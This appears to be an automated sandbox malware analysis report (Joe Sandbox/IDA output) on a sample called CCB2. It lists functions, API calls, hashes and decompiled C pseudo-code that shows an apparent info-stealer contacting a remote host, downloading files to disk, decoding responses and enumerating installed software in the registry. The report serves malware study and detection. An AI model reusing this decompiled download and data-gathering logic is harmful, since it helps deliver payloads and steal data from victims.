Opcode ID: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00688E50, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00688E7F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00688ECC
RtlAllocateHeap.NTDLL(00000000), ref: 00688ED3
lstrcat.KERNEL32(?,0041A48C), ref: 0068903A
lstrcat.KERNEL32(?,0041A15C), ref: 00689060
lstrcat.KERNEL32(?,0041A48C), ref: 00689118
lstrcat.KERNEL32(?,0041A15C), ref: 0068913E
lstrcat.KERNEL32(?,?), ref: 00689152
lstrcat.KERNEL32(?,004191EC), ref: 00689164
lstrcat.KERNEL32(?,?), ref: 00689178
lstrcat.KERNEL32(?,004191EC), ref: 0068918A
lstrcat.KERNEL32(?,?), ref: 0068919E
lstrcat.KERNEL32(?,004191EC), ref: 006891B0
lstrcat.KERNEL32(?,?), ref: 006891C4
lstrcat.KERNEL32(?,004191EC), ref: 006891D6
lstrcat.KERNEL32(?,?), ref: 006891EA
lstrcat.KERNEL32(?,004191EC), ref: 006891FC
lstrcat.KERNEL32(?,?), ref: 00689210
lstrcat.KERNEL32(?,004191EC), ref: 00689222
lstrcat.KERNEL32(?,?), ref: 00689236
lstrcat.KERNEL32(?,00418BC4), ref: 00689248
lstrlen.KERNEL32(?), ref: 0068925A

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction ID: 6c1d53ee6f850eadeff9e1b2f09dbafe7039cf852614a1592bd6cdfcffaa5bfc
Opcode Fuzzy Hash: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction Fuzzy Hash: DFC162B1A01218AFCB24DF64DD89BEE7BB5AF49704F0081D8F209A7291C7759E90CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000000,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,007F9FB8), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,007FA0A8), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,007FA0C8), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,007F9FF8), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,007FA0D8), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00687D10, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00688AFE,?,?,0041ABAC,00000000,00000000), ref: 00687D29
lstrcat.KERNEL32(?,00414018), ref: 00687D3B

Part of subcall function 0068BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0068BB21

lstrcat.KERNEL32(?,00000000), ref: 00687D53
CopyFileA.KERNEL32(?,?,00000001), ref: 00687D66
DeleteFileA.KERNEL32(?), ref: 00687F8C

Part of subcall function 00687480: memset.MSVCRT ref: 006874D2
Part of subcall function 00687480: LocalAlloc.KERNEL32(00000040,?), ref: 00687521
Part of subcall function 00687480: lstrcat.KERNEL32(?,00000000), ref: 00687587

lstrcat.KERNEL32(?,00000000), ref: 00687E47
lstrcat.KERNEL32(0041A838,0041A334), ref: 00687E5B
lstrcat.KERNEL32(0041A838,?), ref: 00687E6C
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00687E7E
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00687E91
lstrcat.KERNEL32(0041A838,?), ref: 00687EA1
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00687EB3
lstrcat.KERNEL32(0041A838,0041A144), ref: 00687EC6
lstrcat.KERNEL32(0041A838,?), ref: 00687EDA
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00687EEB
lstrcat.KERNEL32(0041A838,0041A06C), ref: 00687EFF
lstrcat.KERNEL32(0041A838,?), ref: 00687F13
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00687F25
lstrcat.KERNEL32(0041A838,0041A14C), ref: 00687F38
lstrcat.KERNEL32(0041A838,?), ref: 00687F4B
lstrcat.KERNEL32(0041A838,00418BC0), ref: 00687F5D

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction ID: cb561cc4105be3af7b5c6ad81c52962b49a1b6e3416ae9faa70313130bae7276
Opcode Fuzzy Hash: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction Fuzzy Hash: FE6152B1611104AFCB10EBA4EE48DEA37F9EF4C305F008568F60583261D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_v2020 = InternetOpenA(0x41401a, 0, 0, 0, 0);
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_v2016 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0);
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0);
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_v4304 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308);
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,007E42C8,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,007E42C8,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,007E42C8), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

https://, xrefs: 004051EA
200, xrefs: 0040534D

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				long _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x7e4970
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068);
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_v2072 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0);
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x7e4970
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						if(RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064) == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x7fc788
							if(RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x7fc650
									if(RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b445
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000002,007E4970,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

?, xrefs: 0040B357
%s\%s, xrefs: 0040B40E
pI~, xrefs: 0040B376, 0040B407

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?$pI~
API String ID: 2323328657-732506173
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 30.2, APIs: 18, Strings: 2, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x7e42c8
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x7e56c8
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x7f9060
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x7e42c8
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x7e56c8
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x7f9120
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x7e42c8
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x7e56c8
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x7f9228
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x7e42c8
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x7e56c8
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x7f9150
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x7e42c8
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x7e56c8
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x7f9210
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x7e42c8
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x7e56c8
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x7e57e8
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x7f9a48
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x7f9a20
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x7f9c28
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x7e5828
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x7f97a0
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x7f9818
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,007E42C8), ref: 0040549C
lstrcat.KERNEL32(?,007E56C8), ref: 004054B0
lstrcat.KERNEL32(?,007F9060), ref: 004054C4
lstrcat.KERNEL32(?,007E42C8), ref: 004054D7
lstrcat.KERNEL32(?,007E56C8), ref: 004054EB
lstrcat.KERNEL32(?,007F9120), ref: 004054FF
lstrcat.KERNEL32(?,007E42C8), ref: 00405512
lstrcat.KERNEL32(?,007E56C8), ref: 00405526
lstrcat.KERNEL32(?,007F9228), ref: 0040553A
lstrcat.KERNEL32(?,007E42C8), ref: 0040554D
lstrcat.KERNEL32(?,007E56C8), ref: 00405561
lstrcat.KERNEL32(?,007F9150), ref: 00405575
lstrcat.KERNEL32(?,007E42C8), ref: 00405588
lstrcat.KERNEL32(?,007E56C8), ref: 0040559C
lstrcat.KERNEL32(?,007F9210), ref: 004055B0
lstrcat.KERNEL32(?,007E42C8), ref: 004055C3
lstrcat.KERNEL32(?,007E56C8), ref: 004055D7
lstrcat.KERNEL32(?,007E57E8), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Strings

W~, xrefs: 004055DD
(X~, xrefs: 00405632

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: (X~$W~
API String ID: 3671864319-433964057
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00685670, Relevance: 30.2, APIs: 18, Strings: 2, Instructions: 180stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A368), ref: 006856EC
lstrcat.KERNEL32(?,0041A7C4), ref: 00685700
lstrcat.KERNEL32(?,0041A11C), ref: 00685714
lstrcat.KERNEL32(?,0041A368), ref: 00685727
lstrcat.KERNEL32(?,0041A7C4), ref: 0068573B
lstrcat.KERNEL32(?,0041A3B4), ref: 0068574F
lstrcat.KERNEL32(?,0041A368), ref: 00685762
lstrcat.KERNEL32(?,0041A7C4), ref: 00685776
lstrcat.KERNEL32(?,0041A090), ref: 0068578A
lstrcat.KERNEL32(?,0041A368), ref: 0068579D
lstrcat.KERNEL32(?,0041A7C4), ref: 006857B1
lstrcat.KERNEL32(?,0041A604), ref: 006857C5
lstrcat.KERNEL32(?,0041A368), ref: 006857D8
lstrcat.KERNEL32(?,0041A7C4), ref: 006857EC
lstrcat.KERNEL32(?,0041A630), ref: 00685800
lstrcat.KERNEL32(?,0041A368), ref: 00685813
lstrcat.KERNEL32(?,0041A7C4), ref: 00685827
lstrcat.KERNEL32(?,W~), ref: 0068583B

Part of subcall function 00684C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00684C5E

Part of subcall function 00684C30: StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00684C8A
Part of subcall function 00684C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00684CDF
Part of subcall function 00684C30: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00684D1F
Part of subcall function 00684C30: StrCmpCA.SHLWAPI(?,00418B8C), ref: 00684D35
Part of subcall function 00684C30: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00684D67
Part of subcall function 00684C30: InternetReadFile.WININET(?,?,00000400,?), ref: 00684D90
Part of subcall function 00684C30: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00684DBE
Part of subcall function 00684C30: CloseHandle.KERNEL32(?,?,00000400), ref: 00684E0C
Part of subcall function 00684C30: InternetCloseHandle.WININET(?), ref: 00684E16
Part of subcall function 00684C30: InternetCloseHandle.WININET(00000000), ref: 00684E23

Part of subcall function 00684C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00684D00
Part of subcall function 00684C30: Sleep.KERNEL32(00007530), ref: 00684D46

Strings

(X~, xrefs: 00685882, 00685887
W~, xrefs: 0068582D, 00685833

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: (X~$W~
API String ID: 3671864319-433964057
Opcode ID: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction ID: 2b63ae7a4ca7db3da301b3a3ba5a6c780d62dea4331736d7302499bd6b5eac80
Opcode Fuzzy Hash: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction Fuzzy Hash: 976163B6511208ABC714EFA0DD89EDA33BDBB4C700F04869DF31592161DB74A7A8CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0068C530, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0068C582
GetProcAddress.KERNEL32(0041AA64,0041A33C), ref: 0068C59A
GetProcAddress.KERNEL32(0041AA64,HV~), ref: 0068C5B2
GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0068C5CB
GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0068C5E3
